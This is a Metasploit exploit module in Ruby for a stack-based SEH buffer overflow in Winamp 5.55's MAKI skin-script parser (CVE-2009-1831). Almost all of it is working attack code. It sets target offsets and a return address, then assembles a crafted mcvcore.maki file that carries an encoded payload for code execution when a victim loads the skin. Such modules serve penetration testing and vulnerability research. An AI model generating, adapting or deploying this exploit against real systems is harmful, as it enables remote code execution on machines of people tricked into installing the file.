108 lines
3.1 KiB
Ruby
108 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Winamp MAKI Buffer Overflow',
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'Description' => %q{
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This module exploits a stack based buffer overflow in Winamp 5.55. The flaw
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exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,
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where memmove is used with in a insecure way with user controlled data.
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To exploit the vulnerability the attacker must convince the attacker to install the
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generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin,
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or generate a new skin using the crafted mcvcore.maki file. The module has been
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tested successfully on Windows XP SP3 and Windows 7 SP1.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Monica Sojeong Hong', # Vulnerability Discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2009-1831'],
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[ 'OSVDB', '54902'],
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[ 'BID', '35052'],
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[ 'EDB', '8783'],
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[ 'EDB', '8772'],
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[ 'EDB', '8770'],
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[ 'EDB', '8767'],
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[ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 4000,
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'DisableNops' => true,
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'BadChars' => ""
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# winamp.exe 5.5.5.2405
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[ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1',
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{
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'Ret' => 0x12f02bc3, # ppr from in_mod.dll
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'Offset' => 16756
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'May 20 2009',
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'DefaultTarget' => 0))
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deregister_options('FILENAME')
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end
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def file_format_filename
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'mcvcore.maki'
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end
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def exploit
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sploit = rand_text(target['Offset'])
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sploit << generate_seh_record(target.ret)
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sploit << payload.encoded
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length_sploit = [sploit.length].pack("v")
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header = "\x46\x47" # magic
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header << "\x03\x04" # version
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header << "\x17\x00\x00\x00"
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types = "\x01\x00\x00\x00" # count
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# class 1 => Object
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types << "\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7"
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# functions
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functions = "\x37\x00\x00\x00" # count
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#function 1
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functions << "\x01\x01" # class
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functions << "\x00\x00" # dummy
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functions << length_sploit # function name length
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functions << sploit # crafted function name
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maki = header
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maki << types
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maki << functions
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print_status("Creating '#{file_format_filename}' file ...")
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file_create(maki)
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end
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end
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